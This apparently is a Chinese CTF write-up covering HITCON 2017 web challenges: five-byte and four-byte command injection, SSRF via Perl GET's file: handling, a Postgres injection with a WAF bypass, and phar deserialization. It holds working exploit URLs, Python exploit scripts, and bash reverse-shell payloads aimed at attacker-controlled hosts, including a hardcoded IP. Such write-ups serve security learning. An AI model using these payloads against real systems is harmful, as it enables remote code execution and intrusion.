10天前的比赛今天才最后补完题,最近事情也多的烦,hctf也没能好好打一下,之后慢慢补一补,真的是时间不够用啊。
回到hitcon,即便是做好了心里准备还是被虐的很惨,还是太菜了,要学的东西太多了,慢慢来把,wp越往后越简略了。。。。
BabyFirst Revenge
简单粗暴的源码,如下:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
长度限定了五个字节的命令执行,看到这里很容易想到p神博客发的小密圈内的一些小技巧,其中有一个蓝猫师傅分享的长度限定在了7以内的命令执行如何getshell。 但是这里限定了长度为5,仔细思考一下,我们采取类似的思路,仍然是利用先创造一些能够组成最中我们getshell的文件名,然后通过ls组装起来写入新的文件(比如s
),然后sh s
从而实现getshell。
思路一
这里就可以延伸出两个思路,根据之前的思路我们知道在拼装的时候单独的ls>s
是字典序,也可以ls -t>s
按照时间顺序,但是显然长度超标了。同样的思路,我们可以吧ls -t>s
写入文件。 但是这里由于我们长度为五,除了第一位的>
和最后一位\
,我们只有三位可控。 先看写ls -t>s
,我们可以分为两次写入 如下:
//第一次写入ls,第二次利用>> 在文件后加上-t>s
http://172.17.0.2/?cmd=>ls\
http://172.17.0.2/?cmd=ls>_
http://172.17.0.2/?cmd=>\ \
http://172.17.0.2/?cmd=>-t\
http://172.17.0.2/?cmd=>\>g
http://172.17.0.2/?cmd=ls>>g
当然我们很容易发现其实其中引入了很多错误的bash命令
虽然会报错,但是这并不影响从中间第五行开始到第八行组成的命令ls -t>s
。
也就是说现在我们可以通过执行sh _
间接执行ls -t>s
。 所以接下来就是跟蓝猫师傅的思路一样的走了。
//curl bendawang.site:8080>a
http://172.17.0.2/?cmd=>808\
http://172.17.0.2/?cmd=>te:\
http://172.17.0.2/?cmd=>.si\
http://172.17.0.2/?cmd=>ang\
http://172.17.0.2/?cmd=>daw\
http://172.17.0.2/?cmd=>ben\
http://172.17.0.2/?cmd=>l\ \
http://172.17.0.2/?cmd=>cur\
然后就是执行了
http://172.17.0.2/?cmd=sh _
http://172.17.0.2/?cmd=sh a
其中在远程放好如下内容:
bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"
即可getshell。
思路二
然后是另外一种思路,直接用ls,然后构造出字典序出来,这就需要特殊一点的域名了,比如蛋总买到了一个域名m37n4.xyz
。
就可以不用那么繁琐的一堆东西,就能直接构造出了:
http://172.17.0.2/?cmd=>cur\
http://172.17.0.2/?cmd=>l\ \
http://172.17.0.2/?cmd=>m37\
http://172.17.0.2/?cmd=>n4.\
http://172.17.0.2/?cmd=>xy\
http://172.17.0.2/?cmd=>z>0
http://172.17.0.2/?cmd=sh 0
借用了一下原wp的脚本:
import requests
from time import sleep
payload1 = [
# generate `ls -t>s` file
'http://172.17.0.2/?cmd=>ls\\',
'http://172.17.0.2/?cmd=ls>_',
'http://172.17.0.2/?cmd=>\ \\',
'http://172.17.0.2/?cmd=>-t\\',
'http://172.17.0.2/?cmd=>\>s',
'http://172.17.0.2/?cmd=ls>>_',
#generate `curl bendawang.site:8080>a` file
'http://172.17.0.2/?cmd=>a',
'http://172.17.0.2/?cmd=>0\\>\\',
'http://172.17.0.2/?cmd=>808\\',
'http://172.17.0.2/?cmd=>te:\\',
'http://172.17.0.2/?cmd=>.si\\',
'http://172.17.0.2/?cmd=>ang\\',
'http://172.17.0.2/?cmd=>daw\\',
'http://172.17.0.2/?cmd=>ben\\',
'http://172.17.0.2/?cmd=>l\ \\',
'http://172.17.0.2/?cmd=>cur\\',
'http://172.17.0.2/?cmd=sh _',
'http://172.17.0.2/?cmd=sh s'
]
payload2 = [
'http://172.17.0.2/?cmd=>cur\\',
'http://172.17.0.2/?cmd=>l\ \\',
'http://172.17.0.2/?cmd=>m37\\',
'http://172.17.0.2/?cmd=>n4.\\',
'http://172.17.0.2/?cmd=>xy\\',
'http://172.17.0.2/?cmd=>z>0',
'http://172.17.0.2/?cmd=ls>1',
'http://172.17.0.2/?cmd=sh 1',
]
r = requests.get('http://172.17.0.2/?reset=1')
for i in payload1:
r = requests.get(i)
print i
sleep(0.2)
思路三
刚开始这个思路主要是15年的第一版的命令执行的思路,不必非要getshell,但是后续的操作真的给跪了。 首先通过tar命令打包下载文件
http://172.17.0.2/?reset=1
http://172.17.0.2/?cmd=>tar
http://172.17.0.2/?cmd=>vcf
http://172.17.0.2/?cmd=>zzz
http://172.17.0.2/?cmd=*%20/h*
先写了三个文件tar
,vcf
,z
,然后执行命令* /h*
,这样就等效于执行tar vcf zzz /h*
。 这样就会把/h*
打包到zzz之中,下载下来能够拿到/home
下的hint,但是东西在数据库里面要怎么才能取出来呢。
接下来的思路才让我意识到我的脑回路有多局限了。
直接看:
curl 'http://172.17.0.2/?reset=1'
curl 'http://172.17.0.2/?cmd=>tar'
curl 'http://172.17.0.2/?cmd=>vcf'
curl 'http://172.17.0.2/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://172.17.0.2/?cmd=%2A%20%2Ft%2A'
curl 'http://172.17.0.2/?cmd=php%20z'
同样通过执行* /t*
达到了执行tar vcf z /t*
的效果, 相信大家意识到了,第五个请求,向它传递了一个文件,然后立即打包/t*
到文件z
,对的没错,利用上传生成的临时文件,将这个临时文件打包到z
,然后用php执行,从而达到执行任意命令的目的。
BabyFirst Revenge v2
大晚上的猝不及防,升级版的前一个题,源码
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
唯一的变化就是长度卡到4个字节。。。。。给跪.jpg
看了wp,越发觉得我的脑子是不是该换了。。。。
思路和第一个题其实是一样的,但是由于限制了长度4,没办法利用>>
二次写入了。
但是我们如果就这样是没法儿按照字典序直接写入ls -t>g
到文件的。 因为这一串无论怎么分割写入都无法遵从字典序或是字典序的逆序。 但是这里利用的是ls
的另外一个参数-h
,这参数一般是和-l
连用的,使显示的文件大小变成更便于人查看的k,M,G
,但是这个参数裸用或是与某些别的参数连用就可能没有任何效果。但是它在这里对于形成字典序有着极大的帮助。
//由于有了h参数,可以按字典序写入`g>ht- sl`
http://172.17.0.2/?cmd=>dir
http://172.17.0.2/?cmd=>g\>
http://172.17.0.2/?cmd=>ht-
http://172.17.0.2/?cmd=>sl
http://172.17.0.2/?cmd=*>v
http://172.17.0.2/?cmd=>rev
http://172.17.0.2/?cmd=*v>x
之后的操作便如出一辙了,不再赘述。
SSRFME
又是简单的几行源码,学了个新姿势,源码如下:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
看看这个姿势:
PS:GET 在 libwww-perl中,apt可安装。
至于原因,附带上rr师傅的博客 最新版的任然存在这个问题, 有了个命令执行,我们就可以随意搞了
http://172.17.0.2/?url=http://yourvps/&filename=a
http://172.17.0.2/?url=&filename=bash a|
http://172.17.0.2/?url=file:bash a|&filename=xxx
在你的vps上放置如下内容:
bash -i >& /dev/tcp/your_vps/port 0<&1 2>&1
既可以成功getshell。
SQL so Hard
nodejs写的 源码如下:
/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/
const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");
const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});
const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();
const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]
function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}
const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})
app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}
var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}
if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}
return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}
});
});
});
app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;
}
return res.end(html);
});
});
app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}
password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});
app.listen(31337, () => {
console.log("Listen OK");
});
p神发了一篇详细的分析文章,恰好那天中午吃饭刷推送的时候看到了,不过后来也没能做出来,主要想太想肝出第二个命令执行了。 补题时发现坑还是不少的。 关于这个洞大家可以自行分析P神博客的文章,我们回到这里代码,mysql用着好好的,突然用上了postgres,那肯定是命令执行了,这里有几点注意的地方,这里不是select语句,因此是不会有回传的字段值到P神分析的inlineParser
函数,但是在postgres中有returning
关键字,returning
通常是配合with
使用的。
这是postgres的我认为最好用的一个地方(PS:这里离线写的blog,没网络开官方doc,所以就没帖官方用法,有兴趣自己去查2333):
举个栗子把,比如我们想把表A的数据直接”剪切”到表B。 如果是mysql,我们会怎么办? 两步走:
- insert into B(column1,column2….) select (column1,column2….) from A;
- delete from A where xxxx;
但是在postgres里面可以直接这样
with columns as (
delete from A where column1>xxxx and column2<xxxx RETURNING *
) insert into B
这样大概应该就能理解RETURNING
的作用了把,就相当于在其他语句里面执行一个select语句的作用,实际也是这样实现的。 而 insert 语句后面也能接returning语句,所以相当于执行了select,所以可以触发漏洞。
那么新的问题来了,怎么绕过过滤?
const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]
琢磨了好久也想不到,最后看了wp学到了新姿势 max_allowed_packet
设置,在mysql的配置文件里面,一般默认是16M,限制server一次性接受的数据包大小,所以超过大小的插入或是更新会导致受到限制而导致插入更新失败。 所以这里需要构造超过16M的数据发送过去,从而使得其插入黑名单失效,从而bypass掉过滤。 而且因为这个循环的关系:
我们可以多个语句绕过,这里就不再写了,直接贴上官方脚本:
#!/usr/bin/env python
# encoding: utf-8
from random import randint
import requests
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/bin/bash -i >& /dev/tcp/97.64.111.133/12345 0>&1`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
url='http://127.0.0.1:31337/reg'
#url='http://13.113.21.59:31337/reg'
r = requests.post(url, data=data);
print r.content
baby^h-master-php-2017
这道题不贴代码了,LR师傅的博客和P师傅的代码审计小密圈也都分析过了,我就来学一个姿势。
这道题来看一下,看到Admin类里面的一个__destruct就大概能够知道这个考点在反序列化,然而怎么触发,见刊看一看check_session()就知道搞不动,后来看了wp,学点新操作: PHP在解析phar文件的Metadata的时候会触发反序列化,当使用phar://
协议读取文件的时候,文件内容会被解析成phar对象。所以这里能够触发反序列化操作。 另外还有一个考点,关于匿名函数的名字的问题,都知道create_function
创建的是匿名函数,而匿名函数也是有名字的,名字是\x00lambda_%d
,%d
代表他是当前进程中的第几个匿名函数。通过大量请求,使目标Apache难以同时处理这么多请求,所以以Pre-fork模式启动的Apache会启动新进程来处理这个请求,就能够预测值了。